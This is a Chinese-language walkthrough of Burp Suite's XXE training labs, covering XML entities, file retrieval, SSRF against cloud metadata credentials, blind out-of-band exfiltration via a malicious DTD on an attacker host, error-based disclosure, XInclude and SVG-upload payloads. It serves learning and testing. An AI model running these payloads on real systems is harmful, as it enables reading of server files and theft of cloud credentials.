burpsuite靶场——XXE

news2024/11/24 7:35:45

文章目录

      • 什么是XML?
      • 什么是XML实体?
      • 什么是文档类型定义(DTD)?
      • 什么是XML自定义实体?
      • 什么是XML外部实体?
    • 使用外部实体利用 XXE 来检索文件
    • 利用 XXE 执行 SSRF 攻击
    • 盲XXE漏洞
      • 带外交互的盲 XXE
      • 过 XML 参数实体进行带外交互的盲 XXE
      • 利用盲 XXE 使用恶意外部 DTD 泄露数据
      • 利用盲 XXE 通过错误消息检索数据
    • 利用 XInclude 检索文件
      • XInclude攻击
    • 通过图像文件上传利用 XXE
    • 通过修改内容类型的 XXE 攻击

参考以下文章学习

https://xz.aliyun.com/t/3357

什么是XML?

XML全称是可扩展标记语言,是用来存储和传输数据的一种数据格式,结构上和HTML类似,但是XML使用的是自定义的标签名,XML在Web早期中比较流行,现在开始流行JSON格式的数据了。

什么是XML实体?

XML实体是一种表示数据项的方式,比如用实体< and >表示符号<和>,XML用实体来表示XML标签。

什么是文档类型定义(DTD)?

DTD全称是document type definition,其可以定义XML文档的结构、它可以包含的数据类型和其他项目。DTD在XML文档开头以可选DOCTYPE节点中声明。DTD可以在文档内部(内部DTD)或从其他地方(外部DTD)加载,也可以混合加载。

什么是XML自定义实体?

XML允许在DTD中自定义实体,例如
<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>
如例所示,首先声明了一个名为foo的DTD,然后在DTD中声明了一个自定义实体,名为myentity,该自定义实体中的数据为”my entity value”,可以使用&myentity引用该自定义实体中的数据。

什么是XML外部实体?

XML外部实体也是一种自定义实体,它声明的在DTD之外,外部实体的声明使用SYSTEM关键字,然后指定加载实体值的URL,例如
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>
URL也可以是使用file伪协议从而加载指定的文件内容,例如
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
XXE漏洞就是利用这种特性获取敏感文件内容或者发动如命令执行、SSRF等攻击。

使用外部实体利用 XXE 来检索文件

image-20221224093745138

访问产品页面,单击“检查库存”,抓包

image-20221224094010426

然后就是构造外部实体来查看文件

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

productId数字替换为对外部实体的引用:&xxe;

image-20221224094837779

利用 XXE 执行 SSRF 攻击

image-20221224095804768

与上题payload类似

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" > ]>
<stockCheck><productId>&ssrf;</productId><storeId>1</storeId></stockCheck>

image-20221224100213649

盲XXE漏洞

带外交互的盲 XXE

在指示的位置插入 Burp Collaborator 子域

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://3rvn4mhzwn9pcrg1hihcw1p25tbjz8.oastify.com"> ]>

productId用对外部实体的引用 替换数字:&xxe;

image-20221224111541419

收到响应

过 XML 参数实体进行带外交互的盲 XXE

因为常规外部实体被禁用了,所以我们可以尝试使用参数实体,可以这样构造payload

<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://q0rv1h251nhi026ofywwp821ssyjm8.oastify.com"> %xxe; ]>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://q0rv1h251nhi026ofywwp821ssyjm8.oastify.com"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

image-20221224112100104

利用盲 XXE 使用恶意外部 DTD 泄露数据

前面我们讲过可以利用XXE盲打进行带外交互,那么我们同样可以利用这个带外交互传输更多的内容,下面我们来看这样的一个例子

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

在本例中,我们首先声明了一个存储了敏感文件/etc/passwd内容的参数实体file,然后又声明了一个参数实体eval,里面又包含了一个参数实体exfiltrate,将参数实体file包含的数据附加在URL中发出带外请求从而泄漏带外数据。为了能成功加载上面内容,需要将内容封装成一个dtd托管在目标服务器上。例如

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

这样我们就可以成功在目标服务器上加载XXE盲打的payload了。

image-20221224112458862

这题需要读/etc/hostname的内容,继续用dns外带

image-20221224113317777

服务端写入这样的内容

然后请求端写入payload如下,下面的url是恶意 DTD 的 URL,并非dns外带的url

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0a3c001a047b5c97c16926a901c000a2.exploit-server.net/xxe.dtd"> %xxe;]>

image-20221224114008817

成功请求到file

利用盲 XXE 通过错误消息检索数据

的时候我们可以通过触发XML解析错误将敏感信息泄漏在报错信息中,例如

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

从上面我们能看到加载了一个不存在的文件触发XML报错,但是后面加载的file实体指定的文件是存在的,所以XML报错信息中就能泄漏这个文件的内容了,例如

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

接下来我们通过一道在线靶场来深入理解

image-20221224114234348

与上题的payload类似

image-20221224114724632

加载一个不存在的文件来触发报错,并记下您的恶意 DTD 的 URL放入下面的payload中

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ae40000031ffda9c41c097e019d0097.exploit-server.net/xxe.dta"> %xxe;]>

image-20221224114935940

我们成功通过报错信息泄漏敏感文件内容了

利用 XInclude 检索文件

image-20221224103509535

XInclude攻击

有些应用程序的服务端会将从客户端接收的内容嵌入到XML文档中然后解析,这就导致因为我们无法控制整个XML文档而无法发动常规的XXE攻击,但是我们可以通过XInclude在该XML文档中构建子XML文档,想要使用XInclude我们需要引入相应的命名空间,所以XInclude攻击的payload长这样

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

抓包后是

image-20221224103627926

payload是

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

通过图像文件上传利用 XXE

image-20221224105529105

SVG 是一种基于 XML 语法的图像格式

image-20221224105608363

评论有个头像上传点,我们目的是通过上传payload的svg图像来执行命令

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

image-20221224105956077

可以看到头像成功回显出信息

image-20221224110049674

通过修改内容类型的 XXE 攻击

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 一些网站希望接收这种格式的请求,但会容忍其他内容类型,包括 XML。

例如,如果一个普通请求包含以下内容:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

然后您可以提交以下请求,并得到相同的结果:

POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么只需将请求重新格式化为使用 XML 格式,您就可以到达隐藏的 XXE 攻击面。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/115571.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【AJAX】AJAX的跨域问题

AJAX的跨域问题跨域的概述区别同源与不同源同源策略有什么用&#xff1f;AJAX跨域解决方案方案一、设置响应头方案二、jsonp方案三、代理机制&#xff08;httpclient&#xff09;跨域的概述 跨域是指从一个域名的网页去请求另一个域名的资源。比如从百度&#xff08;https://ba…

WPF控件模板、数据模板、容器样式选择器

WPF控件模板 利用Tag来绑定控件模板内容 <!--模板定义--> <Style x:Key"ButtonStyle1" TargetType"{x:Type Button}"><Setter Property"Template"><Setter.Value><ControlTemplate TargetType"{x:Type Button…

声音事件检测metric:PSDS

论文&#xff1b;A FRAMEWORK FOR THE ROBUST EVALUATION OF SOUND EVENT DETECTION Abstract 这项工作为多声道声音事件检测&#xff08;SED&#xff09;系统的性能评估定义了一个新的框架&#xff0c;它克服了传统的collar-based事件决定、事件F-cores和事件错误率的限制。…

【Kotlin 协程】Flow 流组合 ( Flow#zip 组合多个流 | 新组合流的元素收集间隔与被组合流元素发射间隔的联系 )

文章目录一、Flow 流组合1、Flow#zip 组合多个流2、新组合流的元素收集间隔与被组合流元素发射间隔的联系一、Flow 流组合 1、Flow#zip 组合多个流 调用 Flow#zip 函数 , 可以将两个 Flow 流合并为一个流 ; Flow#zip 函数原型 : /*** 将来自当前流( this )的值压缩到[其他]流&…

第二十六章 数论——欧拉函数(详解与证明)

第二十六章 数论——欧拉函数&#xff08;详解与证明&#xff09;欧拉函数1、互质2、欧拉函数的定义3、欧拉函数的公式4、欧拉函数的证明5、欧拉函数的使用&#xff08;1&#xff09;问题一&#xff1a;思路代码&#xff08;2&#xff09;问题二&#xff1a;思路case1case1case…

2022/12/17 MySQL索引失效的底层原理

1 复合索引-最左前缀原理 where子句中使用最频繁的一列放在最左边&#xff1b;我们在&#xff08;a,b,c&#xff09;字段上建了一个联合索引&#xff0c;所以这个索引是先按a 再按b 再按c进行排列的&#xff0c;所以&#xff1a;以下的查询方式都可以用到索引 select * from …

emacs下安装eaf

emacs下安装eaf插件 原因 eaf插件一开始还有点排斥&#xff0c;觉得emacs终端下操作多好多流畅。想要浏览器&#xff0c;终端和pdf再快速切换就可以了&#xff0c;毕竟我用i3wm/yabai窗口管理器。 但是想到当初也是vim用的多学得多&#xff0c;emacs就不愿意去接触学习&#…

Linux系统下的压缩和解压指令

Linux系统下的压缩和解压指令 gzip/gunzip指令 gzip&#xff1a;用于压缩文件&#xff1b;gunzip&#xff1a;用于解压的 语法&#xff1a;gzip file 以及 gunzip file.gz (压缩文件&#xff0c;只能将文件压缩为*.gz文件) gzip /home/hello.txt: gzip压缩&#xff0c;将/home下…

Android设计模式详解之观察者模式

前言 观察者常用于订阅-发布系统&#xff0c;能够将观察者和被观察者进行解耦&#xff0c;降低两者之间的依赖&#xff1b; 定义&#xff1a;定义对象间一种一对多的依赖关系&#xff0c;使得每当一个对象改变状态时&#xff0c;则所有依赖于它的对象都会得到通知并被自动更新…

湖南人与江西人,关系有多密切?回顾四省填湘的历史

现在的湖南人&#xff0c;可能90%都是四省填湘的移民后代&#xff0c;这种说法可信吗&#xff1f;而湖南人又与江西人的关系有多密切呢&#xff1f;我们来回顾一下四省填湘的历史吧。 四省填湘的背景 在历史上&#xff0c;湖南属于广义上的荆楚之地&#xff0c;是春秋战国时…

图解深度学习-神经网络

深度学习 深度学习是一种统计学习方法&#xff0c;可以在大量数据中自动提取关键特征信息。 深度学习的分类 深度学习的起源有感知器和基于图模型的玻尔兹曼机。在这两个的基础上引入多层结构形成了现在的深度学习。 神经网络的历史 M-P模型和感知器模型 M-P模型是首个通过…

中断和中断系统

目录 中断的引入 中断的概念 中断源&#xff08;2018年&#xff09;背会 中断系统的功能 1&#xff1a;实现中断及返回 2&#xff1a;实现优先权排队&#xff08;中断判优&#xff09; 3&#xff1a;高级中断源能中断低级的中断处理 CPU对外部可屏蔽中断的响应以及中断过…

AtCoder Grand Contest 060 A - No Majority

比赛名称&#xff1a;AtCoder Grand Contest 060 比赛链接&#xff1a;AtCoder Grand Contest 060 A - No Majority 题意&#xff1a; 一个由小写英文字母组成的字符串x被认为是好的&#xff0c;当且仅当以下条件得到满足。 x的每一个长度为2或更大的&#xff08;连续的&am…

springmvc源码之DispatcherServlet前端控制器

系列文章目录 springmvc源码之Web上下文初始化 springmvc源码之DispatcherServlet前端控制器 文章目录系列文章目录DispatcherServlet前端控制器配置serlvet3.0扩展静态资源请求问题源码分析初始化配置刷新WebApplicationContextonRefresh介绍各个组件处理请求getHandlerha.ha…

与时代共命运:数智时代的到来意味着什么?

在数字经济时代背景下&#xff0c;各行各业都在全面推动新技术与商业的加速融合&#xff0c;全力驱动商业模式创新。 当下科技迅速发展&#xff0c;而数智化的发展体现的是社会与经济向新范式的根本转变。而这种转变为企业带来的是产业组织模式、现代基础设施体系、科技人才培…

Iceberg-Trino 如何解决链上数据面临的挑战

1.链上数据处理面临的挑战 区块链数据公司&#xff0c;在索引以及处理链上数据时&#xff0c;可能会面临一些挑战&#xff0c;包括&#xff1a; 海量数据。随着区块链上数据量的增加&#xff0c;数据索引将需要扩大规模以处理增加的负载并提供对数据的有效访问。因此&#xff…

应用层概述(计算机网络-应用层)

目录 网络应用 网络应用程序体系结构 客户/服务器体系结构 P2P对等体系结构 网络应用程序体系结构 应用层协议 网络应用 网络应用是计算机网络体系结构的最上层&#xff0c;是设计和建立计算机网络的最终目的&#xff0c;也是计算机网络中发展最快的部分 我们以一些经典的…

如何选择一个合适的Web存储方案

Web客户端存储是一个现代Web应用必不可少的功能&#xff0c;常见的有Cookie、WebStorage和IndexedDB等&#xff0c;如何选择一个合适的Web存储方案呢&#xff1f; 一. Cookie 1. 为什么要有Cookie? HTTP协议是无状态的&#xff0c;即一次请求和响应就是一次完整地HTTP通信&…

Oracle监听报错相关问题汇总

监听服务报错问题汇总&#xff1a; 1.Windows 2008系统下oracle 11g监听异常死机&#xff0c;无法连接 **C:\Users\administrator>lsnrctl status LSNRCTL for 64-bit Windows: Version 11.2.0.1.0 - Production on 16-9月 -2020 10:09:26 Copyright (c) 1991, 2010, Orac…

(十六).net学习之SOA-WebService

SOA-WebService一、SOA的思想&#xff0c;分布式服务1.SOA2.优势3.数据总线二、建立webservice1.关于webservice2.具体实现三、WCF多宿主协议1、自托管宿主2、windows service宿主3、IIS宿主4、WAS宿主一、SOA的思想&#xff0c;分布式服务 1.SOA SOA:面向服务架构&#xff0…